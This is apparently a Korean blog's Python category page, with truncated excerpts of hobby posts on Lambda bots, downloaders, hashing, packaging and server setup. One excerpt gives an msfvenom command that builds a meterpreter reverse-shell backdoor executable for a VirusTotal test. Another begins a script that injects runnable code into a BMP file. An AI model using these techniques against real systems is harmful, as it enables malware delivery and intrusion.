코딩/Python

1. 서론 python으로 특정 정보를 크롤링해오고, 크롤링한 정보를 데일리로 slack으로 전달하는 bot을 개발했다. 슬랙 봇은 깃헙(https://github.com/qerogram/Slack-Bot)에 올려놨다. 크롤러만 짜서 붙이면 똑같이 해볼 수 있다. 로컬에서 돌릴 땐 편하게, 돌렸었으나 1일 1회라면 30초 언더의 작업이므로 ec2로 띄우는 것보다는 Lambda로 올리는 게 저렴하다고 판단했다. 2. 본론 이를 위해서 크게 두 가지 허들이 존재했다. 첫 번째는 lambda에 외부 라이브러리를 어떻게 인식시키느냐, 두 번째는 lambda에 cron과 같은 기능을 어떻게 주입할 수 있을까. 2-1. 패키징 lambda에는 zip파일 혹은 s3에서 파일을 로드할 수 있는 기능이 있다. 이를 활용..

파싱할 수 있냐는 친구의 요청이 있어 직접 긁어봤다. install getChromeDriver()의 return값에 selenium web driver 프로그램의 경로를 작성해주면 된다. 예를 들면 이렇게, return webdriver.Chrome("chromedriver.exe", options=options) 고치면 된다. -> 셀레니움 웹 드라이버를 받을 수 있는 경로는 아래와 같다. 중요한 건 설치된 크롬 브라우저 버전과 동일해야 한다. github.com/qerogram/Python-Youtube-Downloader [+] 크롬 브라우저 버전 확인방법 : chrome://version을 쳐보자 이후 requests, selenium, ffmpeg-python 모듈을 pip을 통해 설치하면 된..

분할 압축 다운로드가 귀찮아서, 직접 작성했음. 스킨마다 차이가 있을 것 같은데, 그때 그때 변경해서 사용할 것. var win = window.open(); $(".fileblock a").each(function(index, item) { win.open(item.href, index); })

서론 간만에 서버 프로그래밍을 해야하는데, 공인 아이피를 조회하기 위해 한번 제작 해봤다. A Class(10 대역), B Class(172 대역), C Class(192 대역) 와 IPv6를 거르는 방식으로 코드를 작성해봤다. 진행과정 1 2 3 4 5 6 7 8 9 10 import socket ll = socket.getaddrinfo(socket.gethostname(), None) IP = "" for element in ll : if element[4][0][:3] != "172" and element[4][0][:3] != "192" and element[4][0][:3] != "10." and ord(element[4][0][0]) > 47 and ord(element[4][0][0])

서론 이번에 FING 개인 프로젝트로, 디스크 이미징 툴을 만들게 됐는데 E01 이미징을 떠보려니 CRC중에서도 ADLER32라는 CRC로 계산을 하길래간단하게 파이썬 기본 모듈들로 코딩을 해봤다.파이썬 2.7에서는 ADLER32 CRC를 계산이 되면 범위가 음수~양수라서 그 부분을 처리해서 해보니 결과적으로 잘 나왔다. 진행과정 1. 파이썬 코드123456789import zlib, binascii, os fileName = "HeaderSector"f= open(fileName, "rb")buf = f.read(os.stat(fileName)[6]) data = hex((zlib.adler32(buf) & 0xffffffffL))if len(data) != 8 : data = '0x0'+data[2:..

서론 오늘은 한번 Virustotal API를 이용한 간단한 프로그램을 작성해보았다. 진행과정 1. 제출할 백도어 생성1msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > Backdoor.execs 2. 소스코드123456import requestsparams = {'apikey': 'myAPI'}files = {'file': ('Backdoor.exe', open('Backdoor.exe', 'rb'))}response = requests.post('https://www.virustotal.com/vtapi/v2/file/scan', files=files, params=params)json_response = r..

서론 이런게 된다고는 생각해본 적 없던, bmp 파일에 코드 인젝션을 해서 html에서 실행을 해보았다. 진행과정 0. 아이디어- 웹 브라우져는 Signature만 확인되면 데이터가 손상되어 있어도 상관없이 잘 실행이 된다.- 즉, 42 4D 뒤에 /* */ 주석을 처음부터 끝까지 처리한 뒤, 자연스럽게 bof의 썰매 기법처럼 스크립트를 실행할 수 있게 되는 것이다. 1. 소스코드 * 파이썬 코드1234567891011121314151617181920#-*- coding: utf-8 -*-fname = "attack.bmp" pfile = open(fname, "r+b")buff = pfile.read() # 주석을 닫는 행위를 모두 치환.buff.replace(b'\x2A\x2F', b'\x00\x00..

서론 이번에 Tray Program을 다 만들고, exe 화 시키는데, py2exe는 64비트에서는 bundle_files옵션을 제대로 줄 수 없는 문제가 발발했고 그에 대한 해결책을 찾아보다가 PyInstaller라는 툴을 알게 되었다. 진행과정 1. 설치1pip install pyinstallercs 2. 옵션 -F : 하나의 파일로 만든다. -w : WINDOW파일인 경우 콘솔을 띄우면 안되므로 이 옵션 채택 -i : icon 파일 추가하는 경우1c:\Python\Scripts\pyinstaller.exe -F -w --icon="ICON.ico" Agent.pycs설치한 경로는 dir /s /b로 확인을 해보니 pip이 존재하는 경로에 있었다. 완성이 되면 dist 폴더에 결과파일이 떨어진다. #..

서론 이번 프로젝트를 진행하면서 첫 번째 기능으로 선택한 것은 Tray Program이다. 그래서 간단하게 한번 해봤다. 진행과정 1. wxPython 설치1pip install -U wxPythoncs 2. 소스코드 12345678910111213141516171819202122232425262728293031323334353637383940# _*_ coding: utf-8 _*_import wx, wx.adv, sysclass TaskBarIcon(wx.adv.TaskBarIcon): ID_MENU = wx.NewId() ID_EXIT = wx.NewId() def __init__(self, frame): wx.adv.TaskBarIcon.__init__(self) self.frame = frame..

서론 오늘 한번 서버자체를 갈아 엎었다. apache2랑 연동도 하고, ssl도 달아봤다. 역시나 환경은 라즈베리파이3 진행과정 1. 우선은 letsencrypt를 설치한다. 1sudo git clone https://github.com/letsencrypt/letsencryptcs 2. 설치된 경로 안으로 들어가서, 아래의 명령어를 수행해준다 (아래는 단지 예시다. --email엔 이메일을, -d옵션으론 도메인을 기입)1sudo ./letsencrypt-auto --manual --email aa@tt.xyz -d www.naver.comcs 뭐라뭐라 뜨는데, 캡쳐를 안떠놔서 설명이 좀 어렵다. 중간에 아주 긴 영문장이 한 줄 있을 것이다. 그 내용을 웹서버의 .well-known/acme-challe..

서론 이 부분에 있어선 로그 관리 때문에 진행을 한번 해봤다. 실제로, Django에서는 python runserver 식의 명령어를 권하진 않는다고 한다. 이유는 테스트 용도이며 앞에 서술한 로그관리에 취약하는 점에 있다. 자료를 여러군데를 조사했지만 전부다 yum을 쓰거나 여러모로 번거롭게 되어있어 두번 고생하지 않기 위해 시행착오 끝에 방법을 작성하게 되었다. Django, apache2가 깔려있다는 전제하에 쓰도록 하겠다. 진행과정 1. 우선 wsgi를 설치한다. 1sudo apt-get install libapache2-mod-wsgics 2. Django의 프로젝트를 만든다.(tmp폴더에 TEST라는 이름으로 제작해보겠다.)1sudo django-admin startproject TESTcs ..

서론 Autopsy 툴을 사용하면서 불편했던 점은 Sha-1 해쉬를 못받아 오는 것이었다. 여태까지는 WinHex의 기능을 사용해서 해쉬화 시켰는데, 매번 그러기가 싫어서 코딩을 한번 해봤다. 형태는 아래와 같은 식으로 이용하면 된다. 타입별로 해쉬 종류를 지정해주면 된다. 진행과정 1 2 3 4 5 import os, hashlib Buffer = f.read(int(os.stat("test.png")[6])) sha = hashlib.new('sha1') # md5, etc sha.update(Buffer) print(sha.hexdigest()) cs